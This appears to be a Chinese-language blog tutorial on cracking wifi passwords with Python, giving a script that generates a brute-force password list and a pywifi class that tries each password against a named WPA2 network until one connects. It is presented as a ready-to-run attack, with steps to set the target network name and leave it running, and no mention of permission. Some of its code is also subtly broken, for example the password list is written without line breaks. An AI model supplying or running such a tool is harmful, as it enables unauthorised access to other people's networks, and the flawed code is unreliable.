用Python破解wifi密码

利用Python破解无线wifi密码

首先,需要添加pywifi这个模块

pip install pywifi

然后进入pywifi的目录且安装其它模块,这里的目录是C:\Program Files\Python37\pywifi-master

cd "C:\Program Files\Python37\pywifi-master"
pip install .

注意install后面有个点

生成密码本

我们需要一个密码本来破解wifi,可以去网上下载也可以写一个python程序生成

import itertools as its
words = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
r = its.product(words, repeat=6)
dic = open("passwords.txt", "w")
for i in r:
    dic.write("".join(i))

dic.close

写完之后运行,会生成一个叫passwords.txt的文件,这就是密码本

破解密码

生成密码本之后,就可以开始破解了。在密码本同级目录写一个python文件输入以下代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接

        time.sleep(1) #休眠1秒

        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
            print("开始破解:")
            while True:

                try:
                    myStr =self.file.readline()
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue

    def test_connect(self,findStr):#测试链接

        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid = "e2" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码

        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True   
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOK


    def __del__(self):
        self.file.close()

path=r"xxx"
start=PoJie(path)
start.readPassWord()

其中倒数第三行path="xxx"中的xxx输入密码本所在目录斜杠密码本的名字,如目录在C:/Python密码本叫test.txt,就输入C:/Python/test.txt

第42行的"e2"改成要破解的wifi名

双击运行这个破解程序,挂机一会儿就试出来了

你可能感兴趣的:(用Python破解wifi密码)